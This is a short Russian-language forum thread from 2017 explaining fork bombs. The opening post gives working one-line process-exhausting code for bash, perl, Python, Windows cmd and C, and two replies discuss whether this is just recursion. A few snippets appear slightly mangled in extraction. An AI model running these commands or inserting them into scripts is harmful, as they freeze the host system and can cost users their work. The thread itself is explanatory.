Форум OlegON > Компьютеры и Программное обеспечение > Операционные системы и программное обеспечение

Форк-бомбы на разных системах и языках : Операционные системы и программное обеспечение

24.04.2024 16:50


25.06.2017 12:44
OlegON
 
Итак, если кто еще не знает, есть такое явление, как форк-бомба. Создается оно умышленно или случайно, а суть - запуск процедурой самой себя дважды или более раз, либо цикл с запуском самой себя. В этом случае без ограничения на количество процессов система очень быстро встает на колени.

Самый элегантный - для bash :)
Код:
:(){ :|:& };:
для perl
Код:
perl -e "fork while fork" &
Python
Код:
import os
  while(1):
      os.fork()
cmd (Windows)
Код:
:bomb
start %0
goto bomb
или
Код:
%0|%0
C
Код:
#include 
 int main() {   while(1)      fork();  }
25.06.2017 13:26
Stels
 
:) по-русски это, наверно, рекурсия называется
25.06.2017 13:30
OlegON
 
Она реализуется с помощью рекурсии, но суть-то все же в названии.
Часовой пояс GMT +3, время: 16:50.

Форум на базе vBulletin®
Copyright © Jelsoft Enterprises Ltd.
В случае заимствования информации гипертекстовая индексируемая ссылка на Форум обязательна.